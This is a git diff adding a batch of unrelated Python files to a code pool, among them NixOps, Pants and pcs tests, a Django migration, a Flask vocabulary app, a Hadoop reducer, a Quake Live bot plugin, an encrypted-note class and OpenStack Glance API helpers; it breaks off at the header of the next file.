b/pool/shard009/Python/0083777_test_rollback_rollsback.py new file mode 100644 index 0000000000000000000000000000000000000000..f3084e0ee475a1caf77d5b0e5592af18834cdd9d --- /dev/null +++ b/pool/shard009/Python/0083777_test_rollback_rollsback.py @@ -0,0 +1,30 @@ +from os import path +from nose import tools + +from tests.functional import single_machine_test + +from nixops import backends + +parent_dir = path.dirname(__file__) + +has_hello_spec = '%s/single_machine_has_hello.nix' % (parent_dir) + +rollback_spec = '%s/single_machine_rollback.nix' % (parent_dir) + +class TestRollbackRollsback(single_machine_test.SingleMachineTest): + _multiprocess_can_split_ = True + + def setup(self): + super(TestRollbackRollsback,self).setup() + self.depl.nix_exprs = self.depl.nix_exprs + [ rollback_spec ] + + def run_check(self): + self.depl.deploy() + with tools.assert_raises(backends.SSHCommandFailed): + self.check_command("hello") + self.depl.nix_exprs = self.depl.nix_exprs + [ has_hello_spec ] + self.depl.deploy() + self.check_command("hello") + self.depl.rollback(generation=1) + with tools.assert_raises(backends.SSHCommandFailed): + self.check_command("hello") diff --git a/pool/shard009/Python/0083779_test_node_install_integration.py b/pool/shard009/Python/0083779_test_node_install_integration.py new file mode 100644 index 0000000000000000000000000000000000000000..e215d8bca539f9b905109951a47c2200fb648a87 --- /dev/null +++ b/pool/shard009/Python/0083779_test_node_install_integration.py @@ -0,0 +1,36 @@ +# Copyright 2018 Pants project contributors (see CONTRIBUTORS.md). +# Licensed under the Apache License, Version 2.0 (see LICENSE). + +from pants.testutil.pants_run_integration_test import PantsRunIntegrationTest + + +class NodeInstallIntegrationTest(PantsRunIntegrationTest): + def test_node_install_with_prepublish(self): + command = [ + "node-install", + # Use same install parameters as resolve.node in .pants.d, I.E. don't generate a new yarn.lock file + "--npm-resolver-force-option-override=True", + "contrib/node/examples/src/node/server-project", + ] + pants_run = self.run_pants(command=command) + self.assert_success(pants_run) + + def test_node_install_preinstalled_node_module_project(self): + command = [ + "node-install", + # Use same install parameters as resolve.node in .pants.d, I.E. don't generate a new yarn.lock file + "--npm-resolver-force-option-override=True", + "contrib/node/examples/src/node/preinstalled-project:unit", + ] + pants_run = self.run_pants(command=command) + self.assert_success(pants_run) + + def test_node_install_yarn_workspaces(self): + command = [ + "node-install", + # Use same install parameters as resolve.node in .pants.d, I.E. don't generate a new yarn.lock file + "--npm-resolver-force-option-override=True", + "contrib/node/examples/src/node/yarn-workspaces", + ] + pants_run = self.run_pants(command=command) + self.assert_success(pants_run) diff --git a/pool/shard009/Python/0083781_0003_auto_20160204_1540.py b/pool/shard009/Python/0083781_0003_auto_20160204_1540.py new file mode 100644 index 0000000000000000000000000000000000000000..441b026ad5f2ad1e23504bc684609caee1fe47b5 --- /dev/null +++ b/pool/shard009/Python/0083781_0003_auto_20160204_1540.py @@ -0,0 +1,27 @@ +# -*- coding: utf-8 -*- + +from django.db import migrations, models +import datetime +import django_extensions.db.fields + + +class Migration(migrations.Migration): + + dependencies = [ + ('coop_cms', '0002_auto_20160108_1628'), + ] + + operations = [ + migrations.AddField( + model_name='newsletter', + name='created', + field=django_extensions.db.fields.CreationDateTimeField(default=datetime.datetime(2016, 2, 4, 15, 40, 3, 30106), verbose_name='created', auto_now_add=True), + preserve_default=False, + ), + migrations.AddField( + model_name='newsletter', + name='modified', + field=django_extensions.db.fields.ModificationDateTimeField(default=datetime.datetime(2016, 2, 4, 15, 40, 22, 708986), verbose_name='modified', auto_now=True), + preserve_default=False, + ), + ] diff --git a/pool/shard009/Python/0083784_test_misc.py b/pool/shard009/Python/0083784_test_misc.py new file mode 100644 index 0000000000000000000000000000000000000000..45a72ce146050caa20c35b8b2647f8f6f83746c6 --- /dev/null +++ b/pool/shard009/Python/0083784_test_misc.py @@ -0,0 +1,114 @@ +import os +from unittest import TestCase + +from pcs.common import const +from pcs.common.str_tools import format_list + +from pcs_test.tools.assertions import AssertPcsMixin +from pcs_test.tools.misc import get_test_resource as rc +from pcs_test.tools.misc import ( + get_tmp_dir, + get_tmp_file, + outdent, + write_file_to_tmpfile, +) +from pcs_test.tools.pcs_runner import PcsRunner + + +class ParseArgvDashDash(TestCase, AssertPcsMixin): + # The command will fail, that's ok. We are interested only in the argv + # parsing. + cmd = "constraint colocation add R1 with R2".split() + + def setUp(self): + self.temp_cib = get_tmp_file("tier1_misc_dashdash") + write_file_to_tmpfile(rc("cib-empty.xml"), self.temp_cib) + self.pcs_runner = PcsRunner(self.temp_cib.name) + self.allowed_roles = format_list(const.PCMK_ROLES) + + def tearDown(self): + self.temp_cib.close() + + def test_negative_int(self): + self.assert_pcs_fail( + self.cmd + ["-123"], + outdent( + """\ + Deprecation Warning: Using '-123' without '--' is deprecated, those parameters will be considered position independent options in future pcs versions + Error: Resource 'R1' does not exist + """ + ), + ) + + def test_negative_float(self): + self.assert_pcs_fail( + self.cmd + ["-12.3"], + outdent( + f"""\ + Deprecation Warning: Using '-12.3' without '--' is deprecated, those parameters will be considered position independent options in future pcs versions + Error: invalid role value 'R2', allowed values are: {self.allowed_roles} + """ + ), + ) + + def test_negative_infinity(self): + self.assert_pcs_fail( + self.cmd + ["-inFIniTY"], + outdent( + f"""\ + Deprecation Warning: Using '-inFIniTY' without '--' is deprecated, those parameters will be considered position independent options in future pcs versions + Error: invalid role value 'R2', allowed values are: {self.allowed_roles} + """ + ), + ) + + def test_negative_int_dash_dash(self): + self.assert_pcs_fail( + ["--"] + self.cmd + ["-123"], + outdent( + """\ + Error: Resource 'R1' does not exist + """ + ), + ) + + def test_negative_float_dash_dash(self): + self.assert_pcs_fail( + ["--"] + self.cmd + ["-12.3"], + outdent( + f"""\ + Error: invalid role value 'R2', allowed values are: {self.allowed_roles} + """ + ), + ) + + def test_negative_infinity_dash_dash(self): + self.assert_pcs_fail( + ["--"] + self.cmd + ["-inFIniTY"], + outdent( + f"""\ + Error: invalid role value 'R2', allowed values are: {self.allowed_roles} + """ + ), + ) + + +class EmptyCibIsPcmk2Compatible(TestCase, AssertPcsMixin): + # This test verifies that a default empty CIB created by pcs when -f points + # to an empty file conforms to minimal schema version supported by + # pacemaker 2.0. If pcs prints a message that CIB schema has been upgraded, + # then the test fails and shows there is a bug. Bundle with promoted-max + # requires CIB compliant with schema 3.1, which was introduced in pacemaker + # 2.0.0. + def setUp(self): + self.cib_dir = get_tmp_dir("tier1_misc_empty_cib") + self.pcs_runner = PcsRunner(os.path.join(self.cib_dir.name, "cib.xml")) + + def tearDown(self): + self.cib_dir.cleanup() + + def test_success(self): + self.assert_pcs_success( + "resource bundle create b container docker image=my.img promoted-max=1".split(), + "", + ) diff --git a/pool/shard009/Python/0083788_vocab.py b/pool/shard009/Python/0083788_vocab.py new file mode 100644 index 0000000000000000000000000000000000000000..137c4db334b09308db449bfb503b97ba9801c651 --- /dev/null +++ b/pool/shard009/Python/0083788_vocab.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + + +import random + +from flask import Flask, request, render_template +from flask.ext.sqlalchemy import SQLAlchemy + + +app = Flask(__name__) +app.debug = True +app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///data/data.db' +db = SQLAlchemy(app) + + +class Word(db.Model): + id = db.Column(db.Integer, primary_key=True) + word = db.Column(db.String) + ndef = db.Column(db.Integer) + list_name = db.Column(db.String) + ntested = db.Column(db.Integer) + nmistakes = db.Column(db.Integer) + + def __init__(self, word, ndef, list_name, ntested=0, nmistakes=0): + self.word = word + self.ndef = ndef + self.list_name = list_name + self.ntested = ntested + self.nmistakes = nmistakes + + +class List(db.Model): + id = db.Column(db.Integer, primary_key=True) + list_name = db.Column(db.String) + + def __init__(self, list_name): + self.list_name = list_name + + +@app.route('/', methods=['GET']) +def index(): + return render_template('index.html') + + +@app.route('/upload_list', methods=['GET', 'POST']) +def upload_list(): + if request.method == 'GET': + return render_template('upload_list.html') + else: + list_name = request.form['list_name'] + l = List(list_name) + db.session.add(l) + words = request.form['words'] + word_list = words.split('\r\n') + + for raw_word in word_list: + w, ndef = raw_word.split('\t') + word = Word(w, ndef, list_name) + db.session.add(word) + db.session.commit() + return 'Successful upload.' + + +@app.route('/select_list') +def select_list(): + lists = List.query.all() + return render_template('select_list.html', lists=lists) + + +@app.route('/show_list') +@app.route('/show_list/') +def show_list(list_name=None): + words = Word.query.filter_by(list_name=list_name).all() + random.shuffle(words) + return render_template('show_list.html', words=words) + + +@app.route('/record', methods=['POST']) +def record(): + ids = [int(id) for id in request.form.keys()] + for id in ids: + w = Word.query.get(id) + new_nmistakes = w.nmistakes + 1 + w.nmistakes = new_nmistakes + db.session.commit() + return 'Recorded.' + + +@app.route('/view_mistakes') +@app.route('/view_mistakes/') +def view_mistakes(list_name=None): + if list_name is None: + lists = List.query.all() + return render_template('select_mistake_list.html', lists=lists) + else: + words = Word.query.filter_by(list_name=list_name).filter_by(nmistakes=1).all() + return render_template('view_mistakes.html', mistakes=words) + + + +if __name__ == '__main__': + app.run() + # db.create_all() \ No newline at end of file diff --git a/pool/shard009/Python/0083792_wordCountReducer_Sliding_StdDev.py b/pool/shard009/Python/0083792_wordCountReducer_Sliding_StdDev.py new file mode 100644 index 0000000000000000000000000000000000000000..71f4d0e760b8e5cfee8639ece12ddf812edc17ab --- /dev/null +++ b/pool/shard009/Python/0083792_wordCountReducer_Sliding_StdDev.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python + +from operator import itemgetter +import sys +import math + +current_word = None +current_count = 0 +word = None + +wordcount = {} +count_list = [] + +wordcountByFile = {} +extrawordcount = {} +wordAvg = {} +wordStdDev = {} + +def addToDictionary(current_word, current_count): + wordkey = current_word.split("_")[0] + if wordcount.get(wordkey) == None: + count_list = [] + count_list.append(current_count) + wordcount[wordkey] = count_list + else: + wordcount.get(wordkey).append(current_count) + +def addToDictByFile(current_word): + if wordcountByFile.get(current_word) == None: + wordcountByFile[current_word] = 1 + else: + count_val = wordcountByFile.get(current_word) + wordcountByFile[current_word] = count_val + 1 + +def addToWordCount(current_word): + if wordcount.get(current_word) == None: + wordcount[current_word] = 1 + else: + count_val = wordcount.get(current_word) + wordcount[current_word] = count_val + 1 + +def addToExtraWordCount(word): + if extrawordcount.get(word) == None: + extrawordcount[word] = 1 + else: + extrawordcount[word] = extrawordcount[word] + 1 + +def calculateMinMaxAvg(): + average = -1 + minimum = -1 + maximum = -1 + for word in wordcount: + #print wordcount.get(word) + minimum = min(wordcount.get(word)) + maximum = max(wordcount.get(word)) + average = sum(wordcount.get(word))/229.0 + print '%s\t%s\t%s\t%s' % (word, minimum, maximum, average) + +def calculateAverage(): + average = -1 + for word in wordcount: + average = sum(wordcount.get(word))/5.0 + return average + +def calculateStdDev(): + stdDev = -1 + average = -1 + for word in wordcount: + partialSquare = -1 + sumOfSquare = -1 + average = sum(wordcount.get(word))/5.0 + countlist = wordcount.get(word) + for count in countlist: + partialSquare = (count-average)**2 + sumOfSquare += partialSquare + stdDev = math.sqrt(sumOfSquare/5.0) + print '%s\t%s\t%s' % (word, average, stdDev) + +#def slicedict(d, s): +# return {k:v for k,v in d.iteritems() if k.startswith(s)} +def slicedict(sourcedict, string): + #print sourcedict + #print string + newdict = {} + for key in sourcedict.keys(): + if key.startswith(string): + newdict[key] = sourcedict[key] + return newdict + +def calculateStdDev2(): + #stdDev = 0 + average = 0 + for word in wordcount: + #print word + #print "WordAverageWondow: " + word + "\t" + "wordcount: " + str(wordcount.get(word)) + "avg: " + "\t" + str(average) + average = (wordcount.get(word)/5.0) + #print "WordAverageWondow: " + word + "\t" + "wordcount: " + str(wordcount.get(word)) + "avg: " + "\t" + str(average) + partialSquare = 0 + sumOfSquare = 0 + stdDev = 0 + tempdict = slicedict(wordcountByFile, word+"_") + #print tempdict + for tempkey in tempdict: + partialSquare = (int(tempdict.get(tempkey))-average)*(int(tempdict.get(tempkey))-average) + #print partialSquare + sumOfSquare += partialSquare + stdDev = math.sqrt(sumOfSquare/5.0) + #print "WordAverageWondow: " + word + "\t" + str(average) + wordAvg[word] = average + wordStdDev[word] = stdDev + #print '%s\t%s\t%s' % (word, average, stdDev) + +def calculateTwoStdDev(): + calculateStdDev2() + for word in wordcount: + if wordAvg.get(word) == None or wordStdDev.get(word) == None: + continue + nWordAverage = wordAvg.get(word) + nWordStdDev = wordStdDev.get(word) + nTwoStdDev = nWordAverage + 2*nWordStdDev + nExtraWordCount = extrawordcount.get(word) + if nExtraWordCount == None: + continue + elif nExtraWordCount > nTwoStdDev: + print '%s\t%s\t%s\t%s\t%s' % (word, nExtraWordCount, nWordAverage, nWordStdDev, nTwoStdDev) + + +# input comes from STDIN +for line in sys.stdin: + # remove leading and trailing whitespace + line = line.strip() + + # parse the input we got from mapper.py + word, count = line.split('\t', 1) + + dict_word = "" + dic_count = "" + # convert count (currently a string) to int + try: + dict_word = word + "_" + count.split("_")[1] + dic_count = count.split("_")[0] + dic_count = int(dic_count) + except ValueError: + # count was not a number, so silently + # ignore/discard this line + continue + + if "_file6" in dict_word: + addToExtraWordCount(word) + else: + addToDictByFile(dict_word) + addToWordCount(word) + +#calculateStdDev2() +calculateTwoStdDev() + + +''' + # convert count (currently a string) to int + try: + word = word + count.split("_")[1] + count = count.split("_")[0] + count = int(count) + except ValueError: + # count was not a number, so silently + # ignore/discard this line + continue + + # this IF-switch only works because Hadoop sorts map output + # by key (here: word) before it is passed to the reducer + if current_word == word: + current_count += count + else: + if current_word: + # write result to STDOUT + #print '%s\t%s' % (current_word, current_count) + addToDictionary(current_word, current_count) + current_count = count + current_word = word + +# do not forget to output the last word if needed! +if current_word == word: + #print '%s\t%s' % (current_word, current_count) + addToDictionary(current_word, current_count) +''' + +#calculateStdDev(calculateAverage()) diff --git a/pool/shard009/Python/0083794_motd.py b/pool/shard009/Python/0083794_motd.py new file mode 100644 index 0000000000000000000000000000000000000000..4f82b1b41e25822243c9ad3687aa4db3fff06d0f --- /dev/null +++ b/pool/shard009/Python/0083794_motd.py @@ -0,0 +1,76 @@ +# minqlbot - A Quake Live server administrator bot. +# Copyright (C) Mino + +# This file is part of minqlbot. + +# minqlbot is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# minqlbot is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with minqlbot. If not, see . + +import minqlbot +import time + +class motd(minqlbot.Plugin): + def __init__(self): + super().__init__() + self.add_hook("player_connect", self.handle_player_connect, minqlbot.PRI_LOWEST) + self.add_command("motd", self.cmd_motd, 4, usage="(set | add | clear | get)") + + def handle_player_connect(self, player): + """Send the message of the day to the player in a tell. + + This should be set to lowest priority so that we don't execute anything if "ban" or + a similar plugin determines the player should be kicked. + """ + c = self.db_query("SELECT message FROM Motd ORDER BY time DESC LIMIT 1") + row = c.fetchone() + if row and row["message"]: + self.delay(15, self.tell_motd, args=(player, row["message"])) + + def cmd_motd(self, player, msg, channel): + if len(msg) < 2: + return minqlbot.RET_USAGE + # NEW + elif msg[1].lower() == "set" or msg[1].lower() == "new": + new_motd = " ".join(msg[2:]) + self.db_query("INSERT INTO Motd VALUES(?, ?, ?)", int(time.time()), player.clean_name.lower(), new_motd) + self.db_commit() + channel.reply("^7You have successfully set a new MOTD.") + # ADD + elif msg[1].lower() == "add": + c = self.db_query("SELECT message FROM Motd ORDER BY time DESC LIMIT 1") + row = c.fetchone() + if row and row["message"]: + add_motd = "{} {}".format(row["message"], " ".join(msg[2:])) + self.db_query("INSERT INTO Motd VALUES(?, ?, ?)", int(time.time()), player.clean_name.lower(), add_motd) + self.db_commit() + channel.reply("^7The current MOTD has been successfully updated.") + else: + channel.reply("^7There is no active MOTD.") + # CLEAR + elif msg[1].lower() == "clear": + self.db_query("INSERT INTO Motd VALUES(?, ?, ?)", int(time.time()), player.clean_name.lower(), "") + self.db_commit() + channel.reply("^7You have successfully cleared the MOTD.") + # GET + elif msg[1].lower() == "get": + c = self.db_query("SELECT message FROM Motd ORDER BY time DESC LIMIT 1") + row = c.fetchone() + if row and row["message"]: + channel.reply("^7The current MOTD: ^2{}".format(row["message"])) + else: + channel.reply("^7There is no active MOTD.") + + def tell_motd(self, player, msg): + self.tell("^6*** ^7Message of the Day ^6***", player) + self.tell(msg, player) + diff --git a/pool/shard009/Python/0083798_Remindme.py b/pool/shard009/Python/0083798_Remindme.py new file mode 100644 index 0000000000000000000000000000000000000000..2857025b6f5ec8a9dce81ab6e8c045a93974b3b1 --- /dev/null +++ b/pool/shard009/Python/0083798_Remindme.py @@ -0,0 +1,107 @@ +''' +A Remindme is an Entity representing a single user-defined remindme. +''' + +import base64 +import os +import cryptography +from cryptography.fernet import Fernet +from cryptography.hazmat.backends import default_backend +from cryptography.hazmat.primitives import hashes +from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC +from . import config + + +class Remindme: + '''A user's single remindme.''' + + def __init__(self, title, content, password=None, salt=None, repository=None): + '''Creates new remindme.''' + self.__title = title + self.__content = content + self.__salt = salt or None + self.__repository = repository + self.__props = {} + self.__props["saved"] = False + self.__props["deleted"] = False + if password is not None: + self.set_content(content, password=password) + + def set_title(self, title): + '''Set title of this remindme.''' + self.__repository.rename_remindme(self, title) + self.__title = title + return self + + def get_title(self): + '''Return title of this remindme.''' + return self.__title + + def get_salt(self): + '''Return salt used to encrypt content of this remindme''' + return self.__salt + + def is_encrypted(self): + '''Return true if remindme content needs to be decrypted''' + return True if self.__salt is not None else False + + def set_content(self, content, password=None): + '''Set content of this remindme.''' + # when we do not require encryption + if password is None: + self.__content = content + self.__salt = None + else: + self.__salt = os.urandom(16) + kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), backend=default_backend(), salt=self.__salt, + length=config.CRYPTO["kdf_length"], iterations=config.CRYPTO["kdf_iterations"]) + key = base64.urlsafe_b64encode(kdf.derive(bytes(password))) + fernet = Fernet(key) + self.__content = fernet.encrypt(bytes(content)) + return self + + def get_content(self, password=None): + '''Return content of this remindme.''' + if password is None or self.__salt is None: + return self.__content + # we need to decrypt, using the password + kdf = PBKDF2HMAC(algorithm=hashes.SHA256, backend=default_backend(), salt=self.__salt, + length=config.CRYPTO["kdf_length"], iterations=config.CRYPTO["kdf_iterations"]) + key = base64.urlsafe_b64encode(kdf.derive(bytes(password))) + fernet = Fernet(key) + try: + return str(fernet.decrypt(self.__content)) + except cryptography.fernet.InvalidToken: + return None + + def set_repository(self, repository): + '''Set repository reference for this remindme.''' + self.__repository = repository + return self + + def get_repository(self): + '''Return repository reference for this remindme.''' + return self.__repository + + def get_props(self): + '''Return properties of this remindme.''' + return self.__props + + def save(self): + '''Save remindme into repository.''' + if self.__repository is not None: + status = self.__repository.insert_remindme(self) + self.__props["saved"] = status + return status + return False + + def set_as_deleted(self): + self.__props["deleted"] = True + + def delete(self): + '''Deletes the remindme from repository.''' + if self.__repository is not None: + status = self.__repository.remove_remindme(self) + self.__props["deleted"] = status + return status + return False diff --git a/pool/shard009/Python/0083802_api.py b/pool/shard009/Python/0083802_api.py new file mode 100644 index 0000000000000000000000000000000000000000..e2aa4e4e08516c87334283470a7644134221a259 --- /dev/null +++ b/pool/shard009/Python/0083802_api.py @@ -0,0 +1,35 @@ +import zmq + +context = zmq.Context() + +def send_task(sisyphus_host, task_name, *args, **kwargs): + # We create a new socket and connect each time because sisyphus tasks + # should not be sent very often, therefore it's not useful to hold an open + # socket for large lengths of time without sending much of anything. + socket = context.socket(zmq.REQ) + socket.connect(sisyphus_host) + + try: + socket.send_json({ + "task_name": task_name, + "args": args, + "kwargs": kwargs + }) + + # Wait for a reply from the sisyphus. + poller = zmq.Poller() + poller.register(socket, zmq.POLLIN) + if poller.poll(2 * 1000): + reply = socket.recv_json() + else: + raise RuntimeError("sisyphus did not respond.") + + if not reply["success"]: + raise RuntimeError( + "sisyphus did not accept task.\n\t" + reply["error_string"] + ) + finally: + # Forcibly close the socket. + socket.close(0) + +#print send_task("ipc:///tmp/sisyphus.sock", "test_task", "hi") diff --git a/pool/shard009/Python/0083807_normalization.py b/pool/shard009/Python/0083807_normalization.py new file mode 100644 index 0000000000000000000000000000000000000000..eecb14ceaa38968d54ea6702e534ee29b6e180d5 --- /dev/null +++ b/pool/shard009/Python/0083807_normalization.py @@ -0,0 +1,135 @@ +# Copyright 2015 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Normalization layers. +""" +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +from tensorflow.python.eager import context +from tensorflow.python.keras._impl.keras import backend as K +from tensorflow.python.keras._impl.keras import constraints +from tensorflow.python.keras._impl.keras import initializers +from tensorflow.python.keras._impl.keras import regularizers +from tensorflow.python.keras._impl.keras.engine import Layer +from tensorflow.python.layers import normalization as tf_normalization_layers + + +class BatchNormalization(tf_normalization_layers.BatchNormalization, Layer): + """Batch normalization layer (Ioffe and Szegedy, 2014). + + Normalize the activations of the previous layer at each batch, + i.e. applies a transformation that maintains the mean activation + close to 0 and the activation standard deviation close to 1. + + Arguments: + axis: Integer, the axis that should be normalized + (typically the features axis). + For instance, after a `Conv2D` layer with + `data_format="channels_first"`, + set `axis=1` in `BatchNormalization`. + momentum: Momentum for the moving average. + epsilon: Small float added to variance to avoid dividing by zero. + center: If True, add offset of `beta` to normalized tensor. + If False, `beta` is ignored. + scale: If True, multiply by `gamma`. + If False, `gamma` is not used. + When the next layer is linear (also e.g. `nn.relu`), + this can be disabled since the scaling + will be done by the next layer. + beta_initializer: Initializer for the beta weight. + gamma_initializer: Initializer for the gamma weight. + moving_mean_initializer: Initializer for the moving mean. + moving_variance_initializer: Initializer for the moving variance. + beta_regularizer: Optional regularizer for the beta weight. + gamma_regularizer: Optional regularizer for the gamma weight. + beta_constraint: Optional constraint for the beta weight. + gamma_constraint: Optional constraint for the gamma weight. + + Input shape: + Arbitrary. Use the keyword argument `input_shape` + (tuple of integers, does not include the samples axis) + when using this layer as the first layer in a model. + + Output shape: + Same shape as input. + + References: + - [Batch Normalization: Accelerating Deep Network Training by Reducing + Internal Covariate Shift](https://arxiv.org/abs/1502.03167) + """ + + def __init__(self, + axis=-1, + momentum=0.99, + epsilon=1e-3, + center=True, + scale=True, + beta_initializer='zeros', + gamma_initializer='ones', + moving_mean_initializer='zeros', + moving_variance_initializer='ones', + beta_regularizer=None, + gamma_regularizer=None, + beta_constraint=None, + gamma_constraint=None, + **kwargs): + self.supports_masking = True + super(BatchNormalization, self).__init__( + axis=axis, + momentum=momentum, + epsilon=epsilon, + center=center, + scale=scale, + beta_initializer=initializers.get(beta_initializer), + gamma_initializer=initializers.get(gamma_initializer), + moving_mean_initializer=initializers.get(moving_mean_initializer), + moving_variance_initializer=initializers.get( + moving_variance_initializer), + beta_regularizer=regularizers.get(beta_regularizer), + gamma_regularizer=regularizers.get(gamma_regularizer), + beta_constraint=constraints.get(beta_constraint), + gamma_constraint=constraints.get(gamma_constraint), + **kwargs + ) + + def call(self, inputs, training=None): + if training is None: + training = K.learning_phase() + output = super(BatchNormalization, self).call(inputs, training=training) + if context.in_graph_mode() and training is K.learning_phase(): + output._uses_learning_phase = True # pylint: disable=protected-access + return output + + def get_config(self): + config = { + 'axis': self.axis, + 'momentum': self.momentum, + 'epsilon': self.epsilon, + 'center': self.center, + 'scale': self.scale, + 'beta_initializer': initializers.serialize(self.beta_initializer), + 'gamma_initializer': initializers.serialize(self.gamma_initializer), + 'moving_mean_initializer': + initializers.serialize(self.moving_mean_initializer), + 'moving_variance_initializer': + initializers.serialize(self.moving_variance_initializer), + 'beta_regularizer': regularizers.serialize(self.beta_regularizer), + 'gamma_regularizer': regularizers.serialize(self.gamma_regularizer), + 'beta_constraint': constraints.serialize(self.beta_constraint), + 'gamma_constraint': constraints.serialize(self.gamma_constraint) + } + base_config = super(BatchNormalization, self).get_config() + return dict(list(base_config.items()) + list(config.items())) diff --git a/pool/shard009/Python/0083808_glance.py b/pool/shard009/Python/0083808_glance.py new file mode 100644 index 0000000000000000000000000000000000000000..5667c0b25ce9f5757f532dc27fb0866d85dd9319 --- /dev/null +++ b/pool/shard009/Python/0083808_glance.py @@ -0,0 +1,230 @@ +# Copyright 2012 United States Government as represented by the +# Administrator of the National Aeronautics and Space Administration. +# All Rights Reserved. +# +# Copyright 2012 Nebula, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from __future__ import absolute_import + +import collections +import itertools +import json +import logging + + +from django.conf import settings +import glanceclient as glance_client +from six.moves import _thread as thread + +from horizon.utils import functions as utils +from horizon.utils.memoized import memoized # noqa +from openstack_dashboard.api import base + + +LOG = logging.getLogger(__name__) + + +@memoized +def glanceclient(request, version='1'): + url = base.url_for(request, 'image') + insecure = getattr(settings, 'OPENSTACK_SSL_NO_VERIFY', False) + cacert = getattr(settings, 'OPENSTACK_SSL_CACERT', None) + return glance_client.Client(version, url, token=request.user.token.id, + insecure=insecure, cacert=cacert) + + +def image_delete(request, image_id): + return glanceclient(request).images.delete(image_id) + + +def image_get(request, image_id): + """Returns an Image object populated with metadata for image + with supplied identifier. + """ + image = glanceclient(request).images.get(image_id) + if not hasattr(image, 'name'): + image.name = None + return image + + +def image_list_detailed(request, marker=None, sort_dir='desc', + sort_key='created_at', filters=None, paginate=False): + limit = getattr(settings, 'API_RESULT_LIMIT', 1000) + page_size = utils.get_page_size(request) + + if paginate: + request_size = page_size + 1 + else: + request_size = limit + + kwargs = {'filters': filters or {}} + if marker: + kwargs['marker'] = marker + kwargs['sort_dir'] = sort_dir + kwargs['sort_key'] = sort_key + + images_iter = glanceclient(request).images.list(page_size=request_size, + limit=limit, + **kwargs) + has_prev_data = False + has_more_data = False + if paginate: + images = list(itertools.islice(images_iter, request_size)) + # first and middle page condition + if len(images) > page_size: + images.pop(-1) + has_more_data = True + # middle page condition + if marker is not None: + has_prev_data = True + # first page condition when reached via prev back + elif sort_dir == 'asc' and marker is not None: + has_more_data = True + # last page condition + elif marker is not None: + has_prev_data = True + else: + images = list(images_iter) + return (images, has_more_data, has_prev_data) + + +def image_update(request, image_id, **kwargs): + return glanceclient(request).images.update(image_id, **kwargs) + + +def image_create(request, **kwargs): + copy_from = kwargs.pop('copy_from', None) + data = kwargs.pop('data', None) + + image = glanceclient(request).images.create(**kwargs) + + if data: + thread.start_new_thread(image_update, + (request, image.id), + {'data': data, + 'purge_props': False}) + elif copy_from: + thread.start_new_thread(image_update, + (request, image.id), + {'copy_from': copy_from, + 'purge_props': False}) + + return image + + +def image_update_properties(request, image_id, remove_props=None, **kwargs): + """Add or update a custom property of an image.""" + return glanceclient(request, '2').images.update(image_id, + remove_props, + **kwargs) + + +def image_delete_properties(request, image_id, keys): + """Delete custom properties for an image.""" + return glanceclient(request, '2').images.update(image_id, keys) + + +class BaseGlanceMetadefAPIResourceWrapper(base.APIResourceWrapper): + + @property + def description(self): + return (getattr(self._apiresource, 'description', None) or + getattr(self._apiresource, 'display_name', None)) + + def as_json(self, indent=4): + result = collections.OrderedDict() + for attr in self._attrs: + if hasattr(self, attr): + result[attr] = getattr(self, attr) + return json.dumps(result, indent=indent) + + +class Namespace(BaseGlanceMetadefAPIResourceWrapper): + + _attrs = ['namespace', 'display_name', 'description', + 'resource_type_associations', 'visibility', 'protected', + 'created_at', 'updated_at', 'properties', 'objects'] + + @property + def resource_type_associations(self): + result = [resource_type['name'] for resource_type in + getattr(self._apiresource, 'resource_type_associations')] + return result + + @property + def public(self): + if getattr(self._apiresource, 'visibility') == 'public': + return True + else: + return False + + +def metadefs_namespace_get(request, namespace, resource_type=None, wrap=False): + namespace = glanceclient(request, '2').\ + metadefs_namespace.get(namespace, resource_type=resource_type) + # There were problems with using the wrapper class in + # in nested json serialization. So sometimes, it is not desirable + # to wrap. + if wrap: + return Namespace(namespace) + else: + return namespace + + +def metadefs_namespace_list(request, + filters={}, + sort_dir='desc', + sort_key='created_at', + marker=None, + paginate=False): + limit = getattr(settings, 'API_RESULT_LIMIT', 1000) + page_size = utils.get_page_size(request) + + if paginate: + request_size = page_size + 1 + else: + request_size = limit + + kwargs = {'filters': filters} + if marker: + kwargs['marker'] = marker + kwargs['sort_dir'] = sort_dir + kwargs['sort_key'] = sort_key + + namespaces_iter = glanceclient(request, '2').metadefs_namespace.list( + page_size=request_size, limit=limit, **kwargs) + + has_prev_data = False + has_more_data = False + if paginate: + namespaces = list(itertools.islice(namespaces_iter, request_size)) + # first and middle page condition + if len(namespaces) > page_size: + namespaces.pop(-1) + has_more_data = True + # middle page condition + if marker is not None: + has_prev_data = True + # first page condition when reached via prev back + elif sort_dir == 'asc' and marker is not None: + has_more_data = True + # last page condition + elif marker is not None: + has_prev_data = True + else: + namespaces = list(namespaces_iter) + + namespaces = [Namespace(namespace) for namespace in namespaces] + return namespaces, has_more_data, has_prev_data diff --git a/pool/shard009/Python/0083811_actions.py b/pool/shard009/Python/0083811_actions.py new file mode 100644 index 